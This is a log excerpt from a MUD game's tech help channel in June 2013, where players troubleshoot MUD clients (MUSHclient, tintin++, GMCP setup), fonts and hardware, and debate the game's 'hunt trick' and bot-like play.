T3/r7/2013-06-04.txt.gz:{chan ch=tech}Tynrael Tech: I really think the power mode could fix it  :p
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Roidrage Tech: yeah i did that power thing
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Roidrage Tech: if it doesnt work im gonna safe mode sweep drivers reinstall its like 5:30am i cant clean it now lol
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: do you have warranty on it?
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Roidrage Tech: nope bought it off a friend
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Tynrael Tech: try Furmark, it shows the temps- if it stays under 90 temps should be fine
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Roidrage Tech: k ty
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Radical Tech: is there an option to make text align better in mushclient? whenever I type spell spellup everthing is really out of align
T3/r7/2013-06-04.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Are you using a fixed width text?
T3/r7/2013-06-04.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: font that is...
T3/r7/2013-06-04.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Are other things out of align....like everything...
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Radical Tech: I don't think so.
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Tech: you must always use a fixed-width font...
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Radical Tech: pretty much. whois/eq
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Radical Tech: what is the default font again?
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Tech: courier
T3/r7/2013-06-04.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Dina?  Fixedsys? Can't recall
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Radical Tech: Courier works.
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Radical Tech: I guess I was not. How do you tell if a font is a fixed width?
T3/r7/2013-06-04.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Experience, googling?  Some of them have them in their name...
T3/r7/2013-06-04.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Ask Abelinc?
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Tech: easy way to tell is to use notepad or something...put "iiiii" on one line and "wwwww" on another
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Tech: if they line up, it's fixed width ;-)
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Tech: for variable-width, w is much wider than i
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Radical Tech: K gotcha. Thanks
T3/r7/2013-06-04.txt.gz:{chan ch=tech}VampireDude Tech: is 4010 still a good port to visit aard on?
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Tech: good as any
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Tech: help ports
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Dirae Tech: I just discovered MAG, but none of the bottom windows are displaying at all. Is this a known problem?
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Tech: dunno, nobody bothers using mudlet when there's MUSHclient ;-)
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Vexthorne Tech: In Mushclient why is my main window small when I start it up?
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Tech: save world after resizing
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Vexthorne Tech: Alright I will do that, thanks :)
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Dirae Tech: MUSHclient is windows only though :P
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Tech: it works on pretty much everything Mudlet does
T3/r7/2013-06-04.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: I still don't understand the point of buttons in a MUD client.
T3/r7/2013-06-04.txt.gz:{chan ch=tech}VampireDude Tech: it works in wine
T3/r7/2013-06-04.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Except on a phone.
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Vexthorne Tech: Thanks a bunch Abe.  Would anyone be able to tell me what I need to do to upgrade bast?  I have downloaded the new version and don't want to just throw it in the folder if it will mess up something?
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Tech: don't believe anyone's successfully compiled mudlet for a phone either
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Tech: unless your existing bast stuff is really ancient, it should be OK to just throw the bast folder in place, with MUSHclient not running...can copy the entire mushclient folder first as a backup first
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Tech: he keeps his database files in the logs folder
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Vexthorne Tech: Yeah my last bast install is recent so should be no problem there.  Thank you again
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Vexthorne Tech: No problems upon starting it up it seems.  Many thanks Abelinc :)
T3/r7/2013-06-04.txt.gz:{chan ch=tech}Tech: no prob :-)
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: Has anybody any experience with tintin++?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Tech: just ask the question :-)
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: mainly, I wonder if anybody knows how to make use of multiple screens somehow with tintin
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: like having the main screen with some sort of prompt/status and a separate one(s) with maps and other items
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Tech: generally the way to do multiple screens is to use gnu screen or tmux, with tintin running in one and the others doing something like tail -f
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: so you would pipe output to files that would be tailed
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Tech: yup
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Tech: finger ixle, check out his site
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: thanks
T3/r7/2013-06-05.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: nice
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: What help-file tells me the possible positions? (for a trigger)
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: ie. You are Standing.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Tech: you should be using GMCP for position
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: so not the statmon?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Lasher Tech: tt++ is open source right?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Tech: no, not statmon if you can help it
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Tech: yes lasher
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Lasher Tech: writing an IOS client for Aardw ould be nice, but writing an IOS wrapper around that (and yeah I know we'd have to open source it too) seems far more practical in terms of time.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Tech: unless you're using a client which doesn't support GMCP...if your client doesn't support it, then statmon is the next best thing
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: I managed to compile wine on linux and ran mushclient on that
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: There's mudclient for iOS, but iOS is *brutal* for app approval, I hear
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: linux -> mac
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: mushclient runs fine on mac through wine is what I meant to write
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Schnapps Tech: Apple is very fussy about their human interface guidelines, which is part of why app approval seems so challenging.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Tech: heh, it better...aard MUSHclient package is developed and run on it ;-)
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Lasher Tech: app approval is pretty straightforward if you stick to their guidelines.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Tech: don't need to compile wine for Macs, plenty of precompiled ones available...one's even on the aard mushclient package's page which you can just drag to applications folder
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: it would be nice to figure out how many commands people use on average during their gaming experience
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: 1 alias -> 1 command
T3/r7/2013-06-05.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: There is a gamestat thing for that, I think.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Oh, sorry, that was channels.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Tech: there's topspells...
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: if its not that many then you could make a graphic interface to a mud without loosing much
T3/r7/2013-06-05.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Yeah, right, Abelinc. I don't use that often so I don't know.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Tech: but only IMMs get topcommands
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It gets a bit weird when you start adding in how much happens behind the scenes - the more 'grouping' you get, the less newbie friendly it gets, also
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: well, the idea is if you really only use a handful of commands, be it complex or whatever, and you can map them to buttons
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Tech: it's many enough, brightlight
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: For example, an experienced player might use 'rt knossosspalace' and send 20 or so commands in 1
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: I think so too, I wonder though if a aard-lite version, where you mainly hack & slash mobs could be put in a touchscreen mode
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Tech: many people do use button-bars for common stuff, but even with that they type a hella lot
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: but if you want to do something more complex like raiding or hero-area running, you would need a real client
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Something as simple as a quest would overtax the button interface
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Tech: every custom exit, getting stuff from bags, portalnames, etc...
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: not to mention keywords are often difficult to manage without typing something
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Seeing "a big rat" and attempting to attack "a big rat" are 2 different things
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: true, I guess I am used to having the aliases and knowing them by heart :P
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: 'bs a big rat' will fail
T3/r7/2013-06-05.txt.gz:{chan ch=tech}BlueBeetle Tech: prepostion words should just be removed from mob strings
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: big rat might not have the keyword big
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: though I don't see why you would want to bitchslap a bigrat *srun*
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: bs = backstab...
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: I think having the preposition words there help filter bots out though :P
T3/r7/2013-06-05.txt.gz:{chan ch=tech}BlueBeetle Tech: heh if u say so
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: I assume :P
T3/r7/2013-06-05.txt.gz:{chan ch=tech}BlueBeetle Tech: programmers just strip them anyway
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Trimming a|an|the|some etc is probably the easiest part
T3/r7/2013-06-05.txt.gz:{chan ch=tech}BlueBeetle Tech: if they were removed  you'd be giving them more work ,)
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Lasher Tech: 30 second lag on hunt 1.red guar (which nobody would ever type) would screw up a few bots.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Lasher Tech: err, not bots, 'optimizers'
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Tech: BlueBeetle grins evilly.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Newchange Tech: Interestingly the red guar thing would work to stop SnD- they trim their words to 4letters long lol
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: Have players do a captcha randomly after hunts
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Lasher Tech: AFAIK that's the only think it would stop.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Is hunt trick that bad a thing, though? I send a lot of 'hunt 1.princess' in FTII...
T3/r7/2013-06-05.txt.gz:{chan ch=tech}BlueBeetle Tech: just remove the hunt trick then :)
T3/r7/2013-06-05.txt.gz:{chan ch=tech}HelperMan Hadar Tech: its not the hunt trick, its the fact that "optimizers" are ruining the mud
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: But to kill one, you kill both
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Lasher Tech: Good job you guys are around, I'd have never thought to make the hunt trick not work as a way to stopping the hunt trick.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Jhav Tech: We can also solve world hunger.  People just have to stop needing to eat.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Lasher Tech: That's not realistic though.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Lasher Tech: the real cure is they just need to eat something.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: oh no?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Lasher Tech: next
T3/r7/2013-06-05.txt.gz:{chan ch=tech}BlueBeetle Tech: thats easy as a placbo effect jhav :)
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Jhav Tech: Yes!  Let them eat cake.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: My goto solution is have the hungry people eat the poor people
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Quadrapus Tech: Yeah working on that one!
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Tech: Quadrapus whines, "Hey, I was only joking!"
T3/r7/2013-06-05.txt.gz:{chan ch=tech}BlueBeetle Tech: then again  now ppl just database gmpc rooms to mobs and removing hunt trick would  not solve anything  much
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Newchange Tech: Eh, I might be stating the obvious again- but why not have the mob in hunt trick more thoroughly invisible to hunt
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: help keys, newchange
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Working out which princess or oyster is the one you want is a royal pain (pun intended)
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Lasher Tech: it was just a silly comment aimed squarely at S&D, not a midnight discussion n game policy.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}HelperMan Hadar Tech: sometimes im to lazy to hunt trick and just AoE an area to death
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Winkle left the mud over that SnD fallout, did he not?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}HelperMan Hadar Tech: thats how i solve hunt trick problems
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: Now I wish I had not been away 2 years and knew what SnD meant :P
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: where->roomname->goto wrapper, basically
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Newchange Tech: Yup so workaround- if 8.guard is a cpmob, then have 'hunt 8.guard' return 'hunt 9.guard'. Idk about the deeper game implications though, just saying
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: How do you know which guard is the one you want?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Newchange Tech: The same way you return a "that mob is not huntable" message?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: How does the player know that?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Vexthorne Tech: This would be a hillariously horrible situation for raiding, just saying
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Elchanan Tech: would king of be funny if every mob became aggy if one is on a Q id Cp
T3/r7/2013-06-05.txt.gz:{chan ch=tech}BlueBeetle Tech: silly indeed as it would mess up cracking for raiding somewhat i recon :p
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Newchange Tech: Oh I meant a mudside change to remove hunttrick from the mud, not anything the player does
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Keys aren't some mechanic to make you kill 50 things and annoy you
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Newchange Tech: in response to some people saying ht ruins things... not that i necessarily agree
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Hunt trick is the legitimate way to find out which mob you want out of a homogeneous set/
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Newchange Tech: Ok :) Yup I get it now
T3/r7/2013-06-05.txt.gz:{chan ch=tech}BlueBeetle Tech: slit mapper next, slit mapper next :p just as gay
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: it would be a nice 1-day april 1st code change :P
T3/r7/2013-06-05.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i prefered the manor mazes upgrade note :P
T3/r7/2013-06-05.txt.gz:{chan ch=tech}HelperMan Hadar Tech: ever better on april 1st name every mob in the game to "a mob"
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Tech: BlueBeetle grins evilly at [Outlaw] Remarto.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}BlueBeetle Tech: i got excited over that too till i realized it was the first
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: I read that note until I saw that Dexter was welcomed as Imm
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: then I knew it was a hoax :P
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: mind you, I just caught up with reading notes since I came back last week
T3/r7/2013-06-05.txt.gz:{chan ch=tech}BlueBeetle Tech: because that would have been a sign of  allowing shop keepers to be removed from porch :p or at least the way to its change
T3/r7/2013-06-05.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: It should generally never be needed to #include the same header twice in a C++ file right?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Frolo Tech: you shouldn't be able to include the same header twice
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Frolo Tech: or at least it should generate errors if you are unlucky
T3/r7/2013-06-05.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Frolo: this has compiled before, and there are two instances of #include <vector> in this header.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Tymas Tech: When I have a portal for Imperial nation, why is the mapper using runto to get to vidblain, and THEN usign the portal?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: So I went fiddling with my prompt, and now the noexp tag is going after the %c where it didn't before - any ideas on a fix for that?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Ok, fixed it :-) %c has to be the absolute last thing, the  my cut'n'paste was adding was breaking things
T3/r7/2013-06-05.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: the portals are many and confusing. do you think subtituting them all(destination, keyword) makes mush much slower?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Newchange Tech: Does anyone know where the MUSHclient script editor saves aliases, triggers made using the GUI to?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Iaris Tech: why won't the *time to vote* thing go out, I've voted many times?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: there is no link between Aardwolf and the voting site, once you've voted you need to type "ivoted" here on the game to dismiss the warning for another 13 hours.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: its not automatic
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Leinei Tech: It's just a timer.  It doesn't know (and the mud doesn't in general) if you've voted or not.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Iaris Tech: thank you
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Leinei Tech: If you type ivoted, it'll remind you again in ~13 hours
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Leinei Tech: Newchange: I believe they're just part of the world file, but you can export/import them using the GUI if you want to move them.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Leinei Tech: And they'll go into thier own file
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Newchange Tech: I can export them?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Newchange Tech: Wow where's that?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Leinei Tech: well, it's called save/load
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Leinei Tech: In the triggers gui
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Leinei Tech: or alias one
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: You can also export them as a plugin and install the plugin on whatever instance you want.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Newchange Tech: Ah, ty very much this is exactly what I wanted :)
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: Cheezburger, I am trying to use your tintin scripts, would you mind if I asked a couple of questions through tells?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: You can, or you can just ask them here, it doesn't matter which really
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Here at least, other people who may be experiencing the same/similar issues can get some extra information
T3/r7/2013-06-05.txt.gz:{chan ch=tech}The River Styx Tech: so polite... the proper response is the yell and scream and tell him he's a shitty programmer, and his scripts suck, and then demand him to fix them for you.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}The River Styx Tech: amirite?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Your forgot to insult my mom, but yeah
T3/r7/2013-06-05.txt.gz:{chan ch=tech}The River Styx Tech: oh ya, sorry
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: When I start the tmux script (after adjusting for my terminal resolution -x -y) it starts a tt++ session on the right, creates a vertical split on the left with bash and doesnt update or create the other splits
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Actually Ixle did all the tmux stuff, not me
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: is it here when I yell at Ixle for being a shitty programmer and insult his mom?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: But, we're working on a centralized session where you can store you configs, so those kind of issues should go away
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: then something else, on the split-screen within tt++ I am not seeing the prompt update
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: there is room for it, but it is not displaying
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Does your prompt end in %c?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: new char, so I assume yes?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: nah, type config all and make sure it has a literal %c, it's aard's newline for a prompt symbol
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: For example mine looks like: Your game prompt is  : %p HP %P MN %N MV %qqt %Xtnl %a %d%c
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: no, so should I just rewrite it as such?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: You can try, sometime a `#line gag` goes awry when the prompt doesn't have a newline at the end
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: you can keep what you have now (with 'p data' for short) and just add the %c
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Tech: Helperful Cheezburger nods at Captain HR Vakieh.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Couldn't remember the new way to check it :P
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Cut and paste the 'rawcolor game prompt', add %c to the end, and use 'prompt <prompt with %c>' to change it
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: doing that
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: do I have to do anything else for it to start working?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Another helpful trick, is to do #debug on, but I warn you, it's spammy as hell especially with some of the GMCP stuff
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: Oh gotcha
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: You can also just do #debug trigger iirc
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: #debug act*
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: Cheezburger, what would cause some of the variables not to upddate (for instance  I am showing Luck as base 30, which is not accurate
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Mushambo Tech: Do people still use Winamp as a windows music player/manager? I'm not liking this MediaMonkey program...
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: *cough*Vlc*cough*
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Trachx Tech: winamp has nice plugin: lyrics
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Mushambo Tech: VLC to manage my whole library ? 
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: i do everything through VLC, it's just easier
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: So, conceptual question regarding Qualit of Service over networks... I'm doing some Genetic Algorithms on server logs, to determine fitness of the transmission. Some have a TargetKbps, and ALL have a AvgKbps. What would be the best way to mathematicall compare the two? For example, if it doesn't have a target, the health is determined by the average alone, but if it does, it should be judged by how close it is to the target. The issue is, if I use something like fitness=-1(avg-target) I could reasonable determine the health, but if I have 2 instance, one with and one without, how can I judge them.. (more coming)
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Actually, no more coming because I figured out a solution as I was typing it out...
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Tech: Helperful Cheezburger . o O ( I think )
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: Cheez, should the tt++ setup initialize some sort of auto-update timer for the gmcp data?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Trachx Tech: great! by TargetKbps you mean bandwith max throughput ?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: yeah
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Using the JCLEC java library for evolutionary computation on it, and had some little quirks in it :P
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: BL: If it's not initializing, type "gmcp sendchar" or quaff a potion, that's usually enough to get it loaded up initially
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: Sorry Brightlight, you can't do that.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: When it first loads up, sometimes it tries to do logic on the values before the MUD has sent them, the workaround is to just tell the mud to re-send it. Quaffing a potions and whatnot, will cause the mud to update the values and pass them out.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: might be protocol gmcp sendchar
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: Still showing boggus data
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: bogus how?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: if I check #var maxstr it shows something inaccurate
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: tpye protocol gmcp, see if char is turned on
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: ahhh gotcha
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: if not, your initial telopts may not have told the mud to turn it on
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: And unfortunately I'm not sitting in front of a tt++ session to test it out for you
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Ixle Tech: What if you type #var GMCP[CHAR][MAXSTATS]
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Tech: Helperful Cheezburger slaps himself on the head and yells, "DOH!"
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I forgot I nested it like that
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Ixle Tech: 'maxstr' variable by itself is just a shortcut variable made by another script which is redundant these days
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: the gmcp is all turned off, the protocol, how do I tell it to do it?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: to toggle I mean
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: That's the zzGMCP-to_statmon, yeah?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Tech: Ixle nods at Helperful Cheezburger.
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Tech: Brightlight is agreeing with that Helperful Cheezburger person again...
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Yeah, I created that handler when GMCP first came in and all my scripts still used statmon variables
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Ixle Tech: Now, why isn't GMCP getting enabled at connection...
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: That I don't know, and it's hella hard to debug remotely
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: hell, it was hard debugging it the first time I set it up with it right in front of me :P
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Ixle Tech: Brightlight, so when you type protocol gmcp says 'OFF' in red?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: Do you know how to tell the mud to turn the protocol on?
T3/r7/2013-06-05.txt.gz:{chan ch=tech}Brightlight Tech: Yes Ixle,
